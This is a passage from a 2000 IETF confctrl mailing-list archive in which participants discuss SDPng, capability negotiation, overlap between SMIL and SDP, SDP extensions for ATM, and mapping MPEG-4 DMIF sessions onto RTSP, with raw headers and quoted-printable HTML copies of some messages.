<BR><FONT SIZE=3D2 FACE=3D"Arial">representations we have to address =
the fundamental questions of how</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">the model for capability negotiation =
and session decription should</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">look like etc. It should then be =
comparatively easy to find one (or</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">more) appropriate representation =
syntaxes, maybe even an XML-based</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">one.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Discussion about all this is of course =
welcome.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">-- </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 =
FACE=3D"Arial">Dirk</FONT>
</P>
<BR>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BFC724.EB0BAB06--

From confctrl-owner  Mon May 29 03:37:54 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA29035
	for confctrl-outgoing; Mon, 29 May 2000 03:37:54 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA29030
	for <confctrl@zephyr.isi.edu>; Mon, 29 May 2000 03:37:51 -0700 (PDT)
Received: from orion.twosuns.int (dhost75.bln.de [62.144.104.75])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id DAA27162
	for <confctrl@isi.edu>; Mon, 29 May 2000 03:38:23 -0700 (PDT)
Received: from beetle.twosuns.int ([192.111.127.159])
	by orion.twosuns.int with esmtp (Exim 2.05 #1)
	id 12wMY0-0002nj-00
	for confctrl@isi.edu; Mon, 29 May 2000 12:13:24 +0200
Received: from chris by beetle.twosuns.int with local (Exim 2.05 #2)
	id 12wMY0-0000Dx-00
	for confctrl@isi.edu; Mon, 29 May 2000 12:13:24 +0200
Date: Mon, 29 May 2000 12:13:24 +0200
From: Christoph Reichert <chris@twosuns.com>
To: confctrl@ISI.EDU
Subject: Re: SDPng
Message-ID: <20000529121324.A652@twosuns.com>
References: <C51ED84B6F47D211917A0000F8BCBD11038584FC@zcard00g.ca.nortel.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <C51ED84B6F47D211917A0000F8BCBD11038584FC@zcard00g.ca.nortel.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

[...]

> > I think, before thinking of DTDs, schemata and concrete
> > representations we have to address the fundamental questions of how
> > the model for capability negotiation and session decription should
> > look like etc. It should then be comparatively easy to find one (or
> > more) appropriate representation syntaxes, maybe even an XML-based
> > one.

IMHO, as the term "capability set" suggests, the basic model should be
the intersection of these sets.  From the resulting set, for each session
to be started, one capabilitiy is drawn, maybe by means of preferences
if the resulting set allows more than one. The selected capability can
than be converted into a SDP-description.

For example, an endsystem my have the capability set (I've no detailed
knowledge about codecs):

   { (audio, RTP/AVP, g711), (audio, RTP/AVP, g722), (video, RTP/AVP, h263) }

Another has the set:

   { (audio, RTP/AVP, g711), (video, RTP/AVP, h261) }

The intersection yields:

   { (audio, RTP/AVP, g711) }

Therefrom, an SDP is generated:

v=2
...
c=...
m=audio RTP/AVP 96
a=rtpmap:96 g711

(Static PTs are not considered in this example).

This also shows where the difficulties with SDP are when trying to express
capability sets: You have to deal with (multicast) IP-adresses
and port numbers, although they have nothing to do with the capabilities
themselves, and often you need two lines, the m= line and the a:rtpmap line.

Often, codecs can be operated in many modes. It can become difficult to
find a compact syntax to express all possibilities. It seems to make more
sense to clearly define the semantics of a capability name, i.e. there
should be a detailed specification which modes and which options an
implementation of a codec MUST provide to allow the capability to be
contained in such sets.

regards, chris


From confctrl-owner  Mon May 29 22:45:22 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA11370
	for confctrl-outgoing; Mon, 29 May 2000 22:45:22 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA11365
	for <confctrl@zephyr.isi.edu>; Mon, 29 May 2000 22:45:21 -0700 (PDT)
Received: from prognet.com (prognet.com [205.219.198.1])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id WAA02730
	for <confctrl@ISI.EDU>; Mon, 29 May 2000 22:45:55 -0700 (PDT)
Received: from goobox.prognet.com (IDENT:robla@[172.22.1.27])
	by prognet.com (8.9.2/8.9.0) with ESMTP id WAA19009;
	Mon, 29 May 2000 22:46:16 -0700 (PDT)
Date: Mon, 29 May 2000 22:45:51 -0700 (PDT)
From: Rob Lanphier <robla@real.com>
X-Sender: robla@goobox.prognet.com
To: Tom-PT Taylor <taylor@nortelnetworks.com>
cc: confctrl@ISI.EDU, www-smil@w3.org
Subject: RE: SDPng
In-Reply-To: <C51ED84B6F47D211917A0000F8BCBD11038584FB@zcard00g.ca.nortel.com>
Message-ID: <Pine.LNX.4.10.10005292232370.14948-100000@goobox.prognet.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Fri, 26 May 2000, Tom-PT Taylor wrote:
> For session description, which I think is what you're talking about here, I
> wasn't aware that expressiveness of SDP was much of a problem.

Depends on your definition of "problem", I guess.  For many applications,
SDP is working just fine.  But, as an example, content negotiation has
been brought up as a desirable feature.  There's already a mechanism in
SMIL for dealing with this:  the <switch> statement.  This allows one to
specify an ordered list of alternative streams or entire presentation
sets from which a client can pick.

>From the perspective of an RTSP/SMIL/SDP implementation, the benefits of
combining the SMIL and SDP phases would be pretty great (fewer
roundtrips).

If one believes that SDP should be expressed as XML (a very difficult
transition in some contexts), one would hope that people rethink the
feature set while they are at it.

Rob


> 
> > -----Original Message-----
> > From:	Rob Lanphier [SMTP:robla@real.com]
> > Sent:	Thursday, May 25, 2000 9:14 PM
> > To:	Markus Buchhorn; confctrl@isi.edu; atmsdp@eng.fore.com
> > Cc:	www-smil@w3.org
> > Subject:	Re: SDPng
> > 
> > Hi Markus,
> > 
> > (www-smil@w3.org added to the cc line.  See mail below for context)
> > 
> > The W3C SYMM Working Group is currently in the process of defining the
> > next 
> > version of SMIL (Synchronized Multimedia Integration Language).  It's an 
> > XML-based language describing how to combine multimedia primitives (audio,
> > 
> > video, images, text, etc) into a coherent presentation.
> > 
> > One of the proposed set of extensions to SMIL would be to add RTP delivery
> > 
> > information into the SMIL specification.  The latest draft for this is 
> > located here:
> > http://www.w3.org/TR/smil-boston/extended-media-object.html
> > 
> > A SMIL representation of SDP information would clearly be heavier than an 
> > SDP equivalent, but would also be a lot more expressive.  What's more, 
> > there's many cases where SMIL and SDP are both used in the same 
> > presentation today (RealPlayer and Quicktime support both).
> > 
> > I'll have to add the caveat that this particular portion of the spec
> > hasn't 
> > received a lot of attention due to the fact that the bulk of the working 
> > group has more interest and/or expertise in matters higher in the 
> > application stack than getting the bits from point A to point B.  Input 
> > from this group on fleshing this proposal out would be greatly appreciated
> > 
> > (best sent to www-smil@w3.org to keep me honest)  :)
> > 
> > Since the RTP portion of the SMIL Boston spec has such clear overlap with 
> > an existing IETF spec, it may make sense to separate this out and work on 
> > it as a namespace-separated extension to SMIL Boston, for which the
> > details 
> > are sorted out in the IETF.  That would allow the group with the most 
> > interest and expertise in the matter to participate.
> > 
> > Thoughts?
> > 
> > Rob
> > 
> > At 09:43 AM 5/25/00 +1000, Markus Buchhorn wrote:
> > 
> > >Hi All
> > >
> > >A quick question that leapt to mind from a couple of recent threads. I
> > have
> > >seen mention of various extensions to SDP ("we're hitting some
> > limitations
> > >of SDP"), some for application features (codecs, etc.), some for
> > transport
> > >features (ATM leaps to mind, mobile users ?).
> > >
> > >Which group/who is looking at the next generation of SDP? (I think Mark
> > >Handley mentioned "some people call it SDPv2 and it's not really a v2").
> > I
> > >haven't seen any mailing lists under avt or mmusic (where it should be?)
> > >really discuss it.
> > >
> > >I'd be interested to see what is being done. One idea I wanted to canvas
> > >was the use of XML in session/content/transport description, with
> > >appropriate DTD's being created as necessary. Nicely extensible and
> > >pigeon-hole-able and container-able :-). However, it can be a bit heavy
> > and
> > >SAP puts some strong recommendations on bandwidth usage and packet sizes.
> > >OTOH XML is compressible (e.g. wbxml) in special cases.
> > >
> > >Anyway - just wanted to lob a couple of cents in (around $US0.0114 at
> > last
> > >glance...), and see what people are thinking.
> > >
> > >Cheers,
> > >         Markus
> > >
> > >Markus Buchhorn,  Advanced Computational Systems CRC     | Ph: +61 2
> > 62798810
> > >email: markus@acsys.anu.edu.au, snail: ACSys, RSISE Bldg,|Fax: +61 2
> > 62798602
> > >Australian National University, Canberra 0200, Australia |Mobile: 0417 
> > >281429
> > 
> 


From confctrl-owner  Tue May 30 13:09:12 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA00741
	for confctrl-outgoing; Tue, 30 May 2000 13:09:12 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA00732
	for <confctrl@zephyr.isi.edu>; Tue, 30 May 2000 13:09:10 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id NAA07235
	for <confctrl@ISI.EDU>; Tue, 30 May 2000 13:09:42 -0700 (PDT)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id e4UK8ua14714;
	Tue, 30 May 2000 22:08:56 +0200 (MET DST)
Message-Id: <Version.32.20000530085910.045a5c90@127.0.0.1>
X-Sender: jo@127.0.0.1 (Unverified)
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Tue, 30 May 2000 22:07:25 +0200
To: Rajesh Kumar <rkumar@cisco.com>
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Re: ATM Package for Megaco
Cc: mmostafa@cisco.com, bfoster@cisco.com, Brian.Rosen@marconi.com,
        atmsdp@eng.fore.com, confctrl@ISI.EDU,
        ISC_DeviceControl@inventures.com, dwing@cisco.com
In-Reply-To: <4.1.20000524085633.00b89a20@wanbu-mail.cisco.com>
References: <200005241239.e4OCd1R05514@bettina.informatik.uni-bremen.de >
 <4.1.20000523163543.00cbde50@wanbu-mail.cisco.com>
 <4FBEA8857476D311A03300204840E1CF678331@whq-msgusr-02.fore. com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Rajesh,

sorry for the response delay.  The Internet Drafts (which hopefully contain the
authors' addresses) can be found at

    http://www.dmn.tzi.org/ietf/mmusic/47/id/draft-sheedy-mmusic-rtsp-ext-00.txt

Yes, I do believe that MMUSIC is the proper form for this kind of discussion
(particularly if it involves extensions that are of broader applicability).
MMUSIC should deal with all general aspects of SDP extensions and also 
define/constrain how such extensions are to be done.  For very specific
applications, however, the proper place for discussion 35 different relevant
parameters which are not of broader applicability might be elsewhere
(e.g. in the context of MEGACO) but the general constraints should not
be violated.

So everything of general interest (and from my memory this probably applies
to most/all of your proposal -- but don't quote me on this as its from memory :-)
should be done in MMUSIC.


> OK - I'll give this a shot. Who should I send the results to? The atmdsp mailing list?
> The confctrl mailing list?

Both. 

Typically, lack of response means that people are busy or consider something
not too important.  As we have several proposal on SDP for ATM, unimportance is
less likely.  Nevertheless, it's probably not among people's top priority.

Also, note that we are working on SDPng (how it was called on a recent thread)
to provide a better framework for capability description and negotiation.
In this context, I promise to go through the document during our discussion
cycles here and get you some further feedback; but please allow this to take
a week or two)

I agree that it is important to move the stuff ahead.  As I stated before,
I'd like to see the stuff coordinated with other work in this area and,
if possible, also with the work on SDPng.  But for the latter, I am sort of
the bottleneck right now (working on this :-)

You are *very* welcome to present and discuss the revisions in Pittburg
at the next IETF.  I'll put this down in my agenda for some 20 minutes.  Let
me know if you need more.

Joerg



From confctrl-owner  Tue May 30 13:31:19 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA02689
	for confctrl-outgoing; Tue, 30 May 2000 13:31:19 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA02683
	for <confctrl@zephyr.isi.edu>; Tue, 30 May 2000 13:31:18 -0700 (PDT)
Received: from cs.tut.fi (root@varis.cs.tut.fi [130.230.4.42])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id NAA08762
	for <confctrl@isi.edu>; Tue, 30 May 2000 13:31:52 -0700 (PDT)
Received: from cs.tut.fi (c164b.mtalo.ton.tut.fi [193.166.90.84])
	by cs.tut.fi (8.8.8/8.8.8) with ESMTP id XAA03664;
	Tue, 30 May 2000 23:31:54 +0300 (EET DST)
Message-ID: <39342554.AB709549@cs.tut.fi>
Date: Tue, 30 May 2000 23:32:20 +0300
From: Florin Lohan <lohanf@cs.tut.fi>
Organization: DMI / TTKK
X-Mailer: Mozilla 4.7 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
CC: roberto.castagno@nokia.com
Subject: RTSP to DMIF mapping
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello !
My name is Florin Lohan and I am a PhD student at Tampere University of
Technology, Finland. In cooperation with Nokia, we are working in order
to improve our proposal for the management of MPEG-4 session using IETF
protocols. Our first approach is described in the MPEG document N3198p4,
"Text for ISO/IEC 14496-1 version 3 VM 9.0".
We are trying to map the DMIF control commands to RTSP/SDP protocols.
Our goal is to obtain interoperability with RTSP clients/servers.
I am kindly asking you to help me with the following problem regarding a
standard RTSP server behavior:
DMIF, the  has separate commands for opening and closing a session
(ServiceAttach and ServiceDetach). After a session is opened, a client
can add and delete media channels (streams) at will. So it can happen
that a client opens a session, opens some media streams, then closes
them all, and  in the same DMIF session, it opens some other media
streams. According to MPEG, the DMIF session should remain "alive"
during this process.
My question is how an RTSP server should behave when a client  closes
all opened media streams inside its session. Is the server closes  the
session with the client after the last media stream is closed or is it
still keeping it opened for some time (until the timeout expires, maybe)
?
Thank you and best regards,
Florin Lohan


From confctrl-owner  Tue May 30 14:05:51 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA05678
	for confctrl-outgoing; Tue, 30 May 2000 14:05:51 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA05667
	for <confctrl@zephyr.isi.edu>; Tue, 30 May 2000 14:05:48 -0700 (PDT)
Received: from smtprch1.nortel.com (smtprch1.nortelnetworks.com [192.135.215.14])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id OAA10351
	for <confctrl@ISI.EDU>; Tue, 30 May 2000 14:06:17 -0700 (PDT)
Received: from zrchb213.us.nortel.com (actually zrchb213) 
          by smtprch1.nortel.com; Tue, 30 May 2000 16:03:40 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) 
          id <LW2B037T>; Tue, 30 May 2000 16:03:31 -0500
Message-ID: <C51ED84B6F47D211917A0000F8BCBD1103858515@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: "'Rob Lanphier'" <robla@real.com>
Cc: confctrl@ISI.EDU, www-smil@w3.org
Subject: RE: SDPng
Date: Tue, 30 May 2000 16:03:30 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BFCA7A.828CCE30"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFCA7A.828CCE30
Content-Type: text/plain;
	charset="ISO-8859-1"

Note that I limited my statement to session description as opposed to
capability negotiation.  It happens in Megaco that we have already
incorporated semantics for alternative session descriptions, without the
need for any specific labelling.  However, this alone is not enough because
when you get down to small details ("I'll accept any of these packetization
intervals" -- which share the common property that they are 40 ms or
greater) you get a potential number of session descriptions which is
exponential with the number of individual variables to be negotiated.  As a
result, we modified SDP in the MGC-to-MG direction to include constraints
and  other expressions of choice for individual parameters.

> -----Original Message-----
> From:	Rob Lanphier [SMTP:robla@real.com]
> Sent:	Tuesday, May 30, 2000 1:46 AM
> To:	Taylor, Tom-PT [NORSE:B901:EXCH]
> Cc:	confctrl@ISI.EDU; www-smil@w3.org
> Subject:	RE: SDPng
> 
> On Fri, 26 May 2000, Tom-PT Taylor wrote:
> > For session description, which I think is what you're talking about
> here, I
> > wasn't aware that expressiveness of SDP was much of a problem.
> 
> Depends on your definition of "problem", I guess.  For many applications,
> SDP is working just fine.  But, as an example, content negotiation has
> been brought up as a desirable feature.  There's already a mechanism in
> SMIL for dealing with this:  the <switch> statement.  This allows one to
> specify an ordered list of alternative streams or entire presentation
> sets from which a client can pick.
> 
> From the perspective of an RTSP/SMIL/SDP implementation, the benefits of
> combining the SMIL and SDP phases would be pretty great (fewer
> roundtrips).
> 
> If one believes that SDP should be expressed as XML (a very difficult
> transition in some contexts), one would hope that people rethink the
> feature set while they are at it.
> 
> Rob
> 
> 
> > 
> > > -----Original Message-----
> > > From:	Rob Lanphier [SMTP:robla@real.com]
> > > Sent:	Thursday, May 25, 2000 9:14 PM
> > > To:	Markus Buchhorn; confctrl@isi.edu; atmsdp@eng.fore.com
> > > Cc:	www-smil@w3.org
> > > Subject:	Re: SDPng
> > > 
> > > Hi Markus,
> > > 
> > > (www-smil@w3.org added to the cc line.  See mail below for context)
> > > 
> > > The W3C SYMM Working Group is currently in the process of defining the
> > > next 
> > > version of SMIL (Synchronized Multimedia Integration Language).  It's
> an 
> > > XML-based language describing how to combine multimedia primitives
> (audio,
> > > 
> > > video, images, text, etc) into a coherent presentation.
> > > 
> > > One of the proposed set of extensions to SMIL would be to add RTP
> delivery
> > > 
> > > information into the SMIL specification.  The latest draft for this is
> 
> > > located here:
> > > http://www.w3.org/TR/smil-boston/extended-media-object.html
> > > 
> > > A SMIL representation of SDP information would clearly be heavier than
> an 
> > > SDP equivalent, but would also be a lot more expressive.  What's more,
> 
> > > there's many cases where SMIL and SDP are both used in the same 
> > > presentation today (RealPlayer and Quicktime support both).
> > > 
> > > I'll have to add the caveat that this particular portion of the spec
> > > hasn't 
> > > received a lot of attention due to the fact that the bulk of the
> working 
> > > group has more interest and/or expertise in matters higher in the 
> > > application stack than getting the bits from point A to point B.
> Input 
> > > from this group on fleshing this proposal out would be greatly
> appreciated
> > > 
> > > (best sent to www-smil@w3.org to keep me honest)  :)
> > > 
> > > Since the RTP portion of the SMIL Boston spec has such clear overlap
> with 
> > > an existing IETF spec, it may make sense to separate this out and work
> on 
> > > it as a namespace-separated extension to SMIL Boston, for which the
> > > details 
> > > are sorted out in the IETF.  That would allow the group with the most 
> > > interest and expertise in the matter to participate.
> > > 
> > > Thoughts?
> > > 
> > > Rob
> > > 
> > > At 09:43 AM 5/25/00 +1000, Markus Buchhorn wrote:
> > > 
> > > >Hi All
> > > >
> > > >A quick question that leapt to mind from a couple of recent threads.
> I
> > > have
> > > >seen mention of various extensions to SDP ("we're hitting some
> > > limitations
> > > >of SDP"), some for application features (codecs, etc.), some for
> > > transport
> > > >features (ATM leaps to mind, mobile users ?).
> > > >
> > > >Which group/who is looking at the next generation of SDP? (I think
> Mark
> > > >Handley mentioned "some people call it SDPv2 and it's not really a
> v2").
> > > I
> > > >haven't seen any mailing lists under avt or mmusic (where it should
> be?)
> > > >really discuss it.
> > > >
> > > >I'd be interested to see what is being done. One idea I wanted to
> canvas
> > > >was the use of XML in session/content/transport description, with
> > > >appropriate DTD's being created as necessary. Nicely extensible and
> > > >pigeon-hole-able and container-able :-). However, it can be a bit
> heavy
> > > and
> > > >SAP puts some strong recommendations on bandwidth usage and packet
> sizes.
> > > >OTOH XML is compressible (e.g. wbxml) in special cases.
> > > >
> > > >Anyway - just wanted to lob a couple of cents in (around $US0.0114 at
> > > last
> > > >glance...), and see what people are thinking.
> > > >
> > > >Cheers,
> > > >         Markus
> > > >
> > > >Markus Buchhorn,  Advanced Computational Systems CRC     | Ph: +61 2
> > > 62798810
> > > >email: markus@acsys.anu.edu.au, snail: ACSys, RSISE Bldg,|Fax: +61 2
> > > 62798602
> > > >Australian National University, Canberra 0200, Australia |Mobile:
> 0417 
> > > >281429
> > > 
> > 
> 

------_=_NextPart_001_01BFCA7A.828CCE30
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2651.65">
<TITLE>RE: SDPng</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">Note that I limited =
my statement to session description as opposed to capability =
negotiation.&nbsp; It happens in Megaco that we have already =
incorporated semantics for alternative session descriptions, without =
the need for any specific labelling.&nbsp; However, this alone is not =
enough because when you get down to small details (&quot;I'll accept =
any of these packetization intervals&quot; -- which share the common =
property that they are 40 ms or greater) you get a potential number of =
session descriptions which is exponential with the number of individual =
variables to be negotiated.&nbsp; As a result, we modified SDP in the =
MGC-to-MG direction to include constraints and&nbsp; other expressions =
of choice for individual parameters.</FONT></P>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Rob Lanphier [SMTP:robla@real.com]</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Tuesday, May 30, 2000 1:46 AM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Taylor, Tom-PT [NORSE:B901:EXCH]</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">confctrl@ISI.EDU; www-smil@w3.org</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">RE: SDPng</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">On Fri, 26 May 2000, Tom-PT Taylor =
wrote:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; For session description, which I =
think is what you're talking about here, I</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; wasn't aware that expressiveness =
of SDP was much of a problem.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Depends on your definition of =
&quot;problem&quot;, I guess.&nbsp; For many applications,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">SDP is working just fine.&nbsp; But, =
as an example, content negotiation has</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">been brought up as a desirable =
feature.&nbsp; There's already a mechanism in</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">SMIL for dealing with this:&nbsp; the =
&lt;switch&gt; statement.&nbsp; This allows one to</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">specify an ordered list of =
alternative streams or entire presentation</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sets from which a client can =
pick.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">From the perspective of an =
RTSP/SMIL/SDP implementation, the benefits of</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">combining the SMIL and SDP phases =
would be pretty great (fewer</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">roundtrips).</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">If one believes that SDP should be =
expressed as XML (a very difficult</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">transition in some contexts), one =
would hope that people rethink the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">feature set while they are at =
it.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Rob</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; -----Original =
Message-----</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; =
From:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Rob Lanphier =
[SMTP:robla@real.com]</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; =
Sent:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thursday, May 25, 2000 9:14 =
PM</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; To: Markus Buchhorn; =
confctrl@isi.edu; atmsdp@eng.fore.com</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; Cc: www-smil@w3.org</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; Subject:&nbsp;&nbsp;&nbsp; =
Re: SDPng</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; Hi Markus,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; (www-smil@w3.org added to =
the cc line.&nbsp; See mail below for context)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; The W3C SYMM Working Group =
is currently in the process of defining the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; next </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; version of SMIL =
(Synchronized Multimedia Integration Language).&nbsp; It's an </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; XML-based language =
describing how to combine multimedia primitives (audio,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; video, images, text, etc) =
into a coherent presentation.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; One of the proposed set of =
extensions to SMIL would be to add RTP delivery</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; information into the SMIL =
specification.&nbsp; The latest draft for this is </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; located here:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt;<U> </U></FONT><U><FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"http://www.w3.org/TR/smil-boston/extended-media-object.html" =
TARGET=3D"_blank">http://www.w3.org/TR/smil-boston/extended-media-object=
.html</A></FONT></U>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; A SMIL representation of =
SDP information would clearly be heavier than an </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; SDP equivalent, but would =
also be a lot more expressive.&nbsp; What's more, </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; there's many cases where =
SMIL and SDP are both used in the same </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; presentation today =
(RealPlayer and Quicktime support both).</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; I'll have to add the caveat =
that this particular portion of the spec</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; hasn't </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; received a lot of attention =
due to the fact that the bulk of the working </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; group has more interest =
and/or expertise in matters higher in the </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; application stack than =
getting the bits from point A to point B.&nbsp; Input </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; from this group on fleshing =
this proposal out would be greatly appreciated</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; (best sent to =
www-smil@w3.org to keep me honest)&nbsp; :)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; </FONT>
